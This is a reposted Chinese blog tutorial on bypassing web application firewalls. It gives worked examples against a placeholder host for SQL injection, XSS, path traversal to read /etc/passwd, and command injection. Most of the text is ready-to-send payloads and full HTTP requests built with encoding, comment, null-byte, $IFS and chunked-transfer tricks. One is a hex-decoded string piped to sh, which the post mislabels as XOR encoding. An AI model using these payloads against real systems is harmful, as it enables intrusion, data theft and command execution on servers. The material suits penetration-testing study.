0


Web打点与WAF绕过技术具体实例(接上一篇)包含SQL注入绕过WAF、XSS绕过WAF、文件包含漏洞、命令注入

为了更好地理解和应用上一篇的Web打点与WAF绕过技术,本篇将通过具体示例进行详细说明。每个示例将在前面介绍的技术基础上,展示如何在实际场景中操作。

示例一:SQL注入绕过WAF

场景描述
我们在一个登录页面发现SQL注入漏洞,注入点在用户名字段上。原始Payload为:

' OR 1=1 --

直接使用这个Payload可能会被WAF拦截,我们需要绕过WAF来进行注入。

绕过方法与示例

  1. URL编码

将Payload进行URL编码后发送,WAF可能无法识别编码后的恶意字符串。

%27%20OR%201%3D1%20--

发送请求:

GET /login?username=%27%20OR%201%3D1%20--&password=123 HTTP/1.1
Host: example.com
  1. 使用注释符混淆

利用SQL注释符进行Payload混淆,使其变得难以识别。

'/**/OR/**/1=1/**/--

发送请求:

GET /login?username=%27/**/OR/**/1=1/**/--&password=123 HTTP/1.1
Host: example.com
  1. 分块传输编码

利用HTTP 1.1的分块传输编码,将Payload分块发送。

POST /login HTTP/1.1
Host: example.com
Transfer-Encoding: chunked

0a
' OR 1=
0a
1 --
0

示例二:XSS绕过WAF

场景描述
在一个留言板页面,我们发现可以注入XSS Payload,原始Payload为:

<script>alert('XSS')</script>

直接使用这个Payload可能会被WAF拦截,我们需要绕过WAF来注入XSS。

绕过方法与示例

  1. URL编码

将Payload进行URL编码后发送,WAF可能无法识别编码后的恶意字符串。

%3Cscript%3Ealert(%27XSS%27)%3C/script%3E

发送请求:

POST /comment HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

comment=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E
  1. 使用Unicode编码

将<script>转换为Unicode编码,使其绕过WAF检测。

%u003Cscript%u003Ealert('XSS')%u003C/script%u003E

发送请求:

POST /comment HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

comment=%u003Cscript%u003Ealert('XSS')%u003C/script%u003E
  1. DOM拼接

利用JavaScript的拼接功能,将恶意脚本分段注入。

<img src="x" onerror="al"+"ert('XSS')">

发送请求:

POST /comment HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

comment=<img src="x" onerror="al"+"ert('XSS')">

示例三:文件包含漏洞

场景描述
在一个文件下载功能中,我们发现可以通过文件包含漏洞读取服务器上的文件。原始Payload为:

download.php?file=../../../../etc/passwd

直接使用这个Payload可能会被WAF拦截,我们需要绕过WAF来读取文件。

绕过方法与示例

  1. URL编码

将Payload进行URL编码后发送。

download.php?file=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd

发送请求:

GET /download.php?file=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd HTTP/1.1
Host: example.com
  1. 使用Null字节(%00)

在文件路径末尾加入Null字节,绕过WAF的文件扩展名检查。

download.php?file=../../../../etc/passwd%00

发送请求:

GET /download.php?file=../../../../etc/passwd%00 HTTP/1.1
Host: example.com
  1. 利用WAF的误判

有时WAF的规则可能存在误判漏洞,可以通过修改Payload的形式绕过检测。

download.php?file=....//....//....//....//etc/passwd

发送请求:

GET /download.php?file=....//....//....//....//etc/passwd HTTP/1.1
Host: example.com

示例四:命令注入

场景描述
在一个系统命令调用功能中,我们发现可以通过命令注入漏洞执行系统命令。原始Payload为:

; cat /etc/passwd

直接使用这个Payload可能会被WAF拦截,我们需要绕过WAF来执行命令。

绕过方法与示例

  1. URL编码

将Payload进行URL编码后发送。

%3B%20cat%20%2Fetc%2Fpasswd

发送请求:


GET /execute?cmd=%3B%20cat%20%2Fetc%2Fpasswd HTTP/1.1
Host: example.com
  1. 使用特殊符号

利用特殊符号绕过WAF检测。

; cat$IFS/etc/passwd

发送请求:

GET /execute?cmd=%3B%20cat$IFS/etc/passwd HTTP/1.1
Host: example.com
  1. 使用异或编码

将命令进行异或编码后在服务器端解码执行。

echo "payload" | xxd -r -p | sh

发送请求:

GET /execute?cmd=echo%20"7061796c6f6164"%20%7C%20xxd%20-r%20-p%20%7C%20sh HTTP/1.1
Host: example.com
标签: 安全 xss url

本文转载自: https://blog.csdn.net/xixixi7777/article/details/142864012
版权归原作者 xixixi77777 所有, 如有侵权,请联系我们删除。

“Web打点与WAF绕过技术具体实例(接上一篇)包含SQL注入绕过WAF、XSS绕过WAF、文件包含漏洞、命令注入”的评论:

还没有评论